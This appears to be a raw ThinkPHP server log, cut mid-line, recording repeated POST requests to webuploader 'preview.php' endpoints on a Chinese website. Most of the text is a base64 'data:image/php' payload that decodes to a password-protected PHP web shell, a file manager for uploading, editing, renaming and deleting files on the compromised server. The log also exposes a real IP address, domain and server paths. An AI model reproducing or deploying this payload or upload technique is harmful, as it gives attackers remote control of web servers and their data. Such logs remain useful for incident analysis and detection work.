MRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'default' => 'Public', 'Hui' => 'lib', 'webuploader' => '0.1.5', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:28:55+08:00 ] 119.42.146.234 POST 51tianwei.com/public/plugins/webuploader/0.1.5/server/preview.php [运行时间:0.002258s] [吞吐率:442.86req/s] [内存消耗:138.51kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'plugins', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkI' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:28:57+08:00 ] 119.42.146.234 POST 51tianwei.com/static/hui/lib/webuploader/0.1.5/server/server/preview.php [运行时间:0.002847s] [吞吐率:351.25req/s] [内存消耗:196.79kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'hui', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgIC